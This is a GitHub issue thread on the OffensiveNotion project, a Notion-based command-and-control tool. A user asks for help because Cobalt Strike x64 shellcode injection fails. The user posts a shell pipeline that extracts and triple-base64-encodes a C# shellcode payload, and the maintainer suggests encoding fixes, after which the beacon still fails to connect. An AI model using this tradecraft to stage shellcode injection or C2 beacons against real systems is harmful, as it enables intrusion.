mttaggart / OffensiveNotion

Notion as a platform for offensive operations
MIT License
1.12k stars 124 forks source link

inject shellcode error #129

Open h2so0o4 opened 1 year ago

h2so0o4 commented 1 year ago

cobaltstrike shellcode x64 inject image

error : Invalid byte 10, offset 76.

mttaggart commented 1 year ago

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

h2so0o4 commented 1 year ago

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

cobaltstrike 4.3 payload:C# x64 kali:cat payload.cs| cut -d "{" -f2 | cut -d "}" -f1 | tail -n+2 | base64 | base64 | base64 > note.txt notion: inject self http://xxxxxx 3

h2so0o4 commented 1 year ago

Hi! In order for us to help, we need to know how the shellcode was generated and encoded.

test enviroment : Win11 & Win10

mttaggart commented 1 year ago

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

h2so0o4 commented 1 year ago

Hmm. Although the injector should account for this, I would try with base64 -w 0 for each of those.

After listening to your suggestion, no more error will be reported, showing "Injection completed!" But my beacon is not online image image

I don't know what went wrong